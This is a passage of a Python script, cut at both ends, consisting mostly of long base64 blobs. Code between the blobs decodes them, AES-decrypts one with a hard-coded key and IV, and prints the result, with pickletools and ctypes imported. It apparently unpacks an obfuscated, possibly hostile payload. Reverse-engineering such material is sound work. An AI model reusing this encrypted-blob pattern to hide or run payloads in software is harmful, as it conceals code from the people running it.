XshLx3+2SoyDw7371V0nep8shDjopJF104s3rNJ0phKOUsa+09oSYXiN+X8q0xkWUAMdOr27Ul7fXAL+Syo1Bf3hhtbTzPIFq6Se9Nn5Qy9nc+XCtwHQR8yZvqSa+LVa6YIAxbc1Bku/HDiBJDo3Qyucfj5FGcVANEFVWYnQ8o4fFhjAvSSb7KDzM/9WYLmyU7LN6dCFDUk7Dn3AuEqWtlSvXKhbQffzCMHWJxHSBxJ+Vzz2wBLSJXyrRMnrrCTkZkQCBAmzuyPO1ihGVGMDiwQqLGGzqMUhYg9d392Et2r5938IhrnoAhS7ffH+zc/OzgpONwURKH7YYluveIv3/BPt3aOVvUAjHfxU1RjjTEQF5JXtOakJXi6gebdS0pMFGYQDtqcXWUHjNW4VfYoEhPXqHShy9R5eqhie3RN1d7+yK4cFktzyB76W02cxUaK+kPHhA2NC4E2PNIwNwgMa/7I8hoejUtWnJt3ZkiVnptUicjlfhhyYZOVAlOVs7iuPRB86Iq2Wh3xzF0Saed5u0HRZ+zELhuGotMrTN9DnjcMwzmfoIo/xe0HD3Z13PRbfRA7IdkFMn34xeWviRt+oLVcQRbwetz/fBJmGlzRVr2SXgpL550xX0axYeAvvWkwmrCwjel8UsTl/IX8gjfauMF3yAMPB6+Ed86nJMvgTs5SVcTaaRsN16BN7gfVGlTYV3/Wz0klgehgAAbfkEpsJlcB9VcHuEEY5oQDR7my11Nw' + b'=' * (
                len(
                    b'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') % 4))).rstrip(
    b'\\0')))
print(s)
import pickletools

# print(pickletools.dis(s))

import ctypes

# print(base64.decodebytes(b'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' + b'=' * (len(b'RoIJhNkSZZzhzI7nLbUbC2le1zvsuS2Gbhw1cjb6s36W16dB/qyWhSnuRc+HCQAhIvUzUszhLio+20xZVpxbXXcdRWPFhF7kyXXGjkAOle8HU6RUGjUzB1Ls0O3dofquXlUUnXO1mxjBQRHLQ03fnm785qScoF7JVayvHkAVOKu8+F+nfXtc+Szb95kziLvhAa+Lt5prLHWPwZ8kHg1l3x5Xv55o72u35FTXZTqqfob4uESLJds3PvhSnHhsTLsn5mKZoCBkSfP5cdISKCMPlHZbESyQUplaqNS7TfIpo4lFPKicmZ4+t4GRAT0J6TwkQ6GBsBZ16zCT+C8aL2LCzLX61KSeyr/56u475/vz3MeBZtI9BkTpyqtGriTv8Gqycdyfa9dsvQ+WCR96zOYrMu84tluJjxlMzFGfDuua302XvnXs0jttypMm2oKU8QI367d4unDIbFDCIFu/8m+lG4irxWrEa7EGMtR6yGogaiGEHb0oJ3kbNiPKdPpkpRsEkorm8iHOZ8Kh71VqKj95aemMK0MSHwoKbD6Js0DgnHDcy6sR/DE9LBlG6kHLPWMLfv6RtW92YCG36AeIIMRbJLxWabPgsfhcuMqM+MrQkM4X3NO7TmOxtB2fkEMkPzhyZWP+DVoYWsp2Q61cCoylvbEU/PC1OIpbaSNxjqUc8JCey7g7VmbL+BrKx1STAbJd4gbcR2kF01S70BLruDwopa1moOuq0wwY5IDJJKwVtRpGuGNwrBv2X+ZYduEIvKAzSjiJjSb27rLfXYTO7VKR6fv/mAS4dkroy2RZmHMxUKeM9S+x/SWuz79qAfmbm0mhYeww424ig1JUiRcpc2yQcIMloLGWew5TXplpf7aiABTp+GkwbHb4kLJdwWaq2eASd1P+QigpGQbWcJ9GoLfmVPxSH2CMbw3q3cFJiFNDMokSmMCik1MLTG1d0/4veTApBjCxHesCwAyWJ+piO2cQF7B1+G80xUOIt7J/Fd5QsJPD0Sw2EGHcWLx5hG1FbuaK/5FBrwyy8YKt2o7SYI4ZuzExe0dRcwmaR7xqCuz6ow1xqxlfMh4+n4xLRYsjILxyML+/1NqxfwEa1TovUZSMCHtCBu7k+OQHK6c2SsKSoI42/SZw+iT9Hi6322xnCjQbPeTpYiQ6ydjTZR1HCiCHPxN/BRTWa7U675EOeho/mgDFd9F3jLRjd7d4SpNo3JJCa/t45p4LIdkxHKcBpFpdIs67apgC5tyjHUzVPtPJ9eY3tkyoBO3KO63pb3C4t4HRurBj1FhhI+ZRBhv/uj0g37u7UiYi1A/qc/y7Zi20zCXngvAUvmFYnc85FzD3qlsvZ7XvpuIYiwKFenLkak7Uc9i314RuxaUQOtR2r95HevLSGm+IXSBJfd/VP0Aio5m/A+0V5jHCRPmw+FekHJgXd9TUvivcuEV4EsjUELcNIp31Zkg1jJMzop9iWbWbClaU/CH2vj5bc2wOFL0SoxylFqAjkwr2mpBz9q5rLpPa+adb9qTlhpNyazShhTKoYK5QJllnfpMbYDRZwdriRZxuCCPW/TcO9nJDmqjYer71v+ChCZd069W8wlTM/6ipgVt+AjE3mKfYLr/GLaKASrpYSrVayWEDV8Jm98+sfoMY8NemHQBpgiS+F4vU2jFcXqzl+NsBmOSm+KWnFjYQ+2f77nNSOhYlthpQDji3rWmaexBsYAOLZjoHMpMJbQf5Ez5n74Qi+I+rkPUJ0kb7SEYbAKkNb+Gx0fi8fl9R7lnouxj32n2nSyNtDPTsg5QNjdvJR3euG5I5boCpp41u4vj89jc9ovPhwYDMtHR0Su01+DYvu4/PQ0wubZTGcOoHlNc/FJFikg3quDTV2qgJ5I3WXh9ln1XEfFG+M3ox39datKXszX4/JgB0wMJWv1mL4JHuiSmGVVfyOg0c2bzvLg8RRBDzAo1JmAsVhX1ByOi3Pfo6nUua1idQilMDWG27J1ILWunboWMEtL7DYHzk01VPs2sONiOdXjDrQwGaIOfvremionO1z5zbVwQJkUpIzuQVPQSo2J7VRy6ADZcLxkEZ2s8tOt+XQqqrVhBd5/vCnyaX8X5benvG2Iu8n63Cd0XWYJ5BAQHU82jApkcTm+zt9Cm0otJOcbnK/PYAGqbqSVPfZCrVTTZJQ7qm1osMv1OzZGJezBQLKl7xY9EERdcYZ1pxKza0VgFmzP+TvDwMWVlWi8lsaw42uF8CLc+bjWXN')))
from Crypto.Cipher import AES

b = AES.new(b'LKspYP9HJNzj7RtE4Dcd8UF2ZikIov0=', AES.MODE_CBC, b'fljtMD3vC5GU0VLg').decrypt(base64.decodebytes(
    b'RoIJhNkSZZzhzI7nLbUbC2le1zvsuS2Gbhw1cjb6s36W16dB/qyWhSnuRc+HCQAhIvUzUszhLio+20xZVpxbXXcdRWPFhF7kyXXGjkAOle8HU6RUGjUzB1Ls0O3dofquXlUUnXO1mxjBQRHLQ03fnm785qScoF7JVayvHkAVOKu8+F+nfXtc+Szb95kziLvhAa+Lt5prLHWPwZ8kHg1l3x5Xv55o72u35FTXZTqqfob4uESLJds3PvhSnHhsTLsn5mKZoCBkSfP5cdISKCMPlHZbESyQUplaqNS7TfIpo4lFPKicmZ4+t4GRAT0J6TwkQ6GBsBZ16zCT+C8aL2LCzLX61KSeyr/56u475/vz3MeBZtI9BkTpyqtGriTv8Gqycdyfa9dsvQ+WCR96zOYrMu84tluJjxlMzFGfDuua302XvnXs0jttypMm2oKU8QI367d4unDIbFDCIFu/8m+lG4irxWrEa7EGMtR6yGogaiGEHb0oJ3kbNiPKdPpkpRsEkorm8iHOZ8Kh71VqKj95aemMK0MSHwoKbD6Js0DgnHDcy6sR/DE9LBlG6kHLPWMLfv6RtW92YCG36AeIIMRbJLxWabPgsfhcuMqM+MrQkM4X3NO7TmOxtB2fkEMkPzhyZWP+DVoYWsp2Q61cCoylvbEU/PC1OIpbaSNxjqUc8JCey7g7VmbL+BrKx1STAbJd4gbcR2kF01S70BLruDwopa1moOuq0wwY5IDJJKwVtRpGuGNwrBv2X+ZYduEIvKAzSjiJjSb27rLfXYTO7VKR6fv/mAS4dkroy2RZmHMxUKeM9S+x/SWuz79qAfmbm0mhYeww424ig1JUiRcpc2yQcIMloLGWew5TXplpf7aiABTp+GkwbHb4kLJdwWaq2eASd1P+QigpGQbWcJ9GoLfmVPxSH2CMbw3q3cFJiFNDMokSmMCik1MLTG1d0/4veTApBjCxHesCwAyWJ+piO2cQF7B1+G80xUOIt7J/Fd5QsJPD0Sw2EGHcWLx5hG1FbuaK/5FB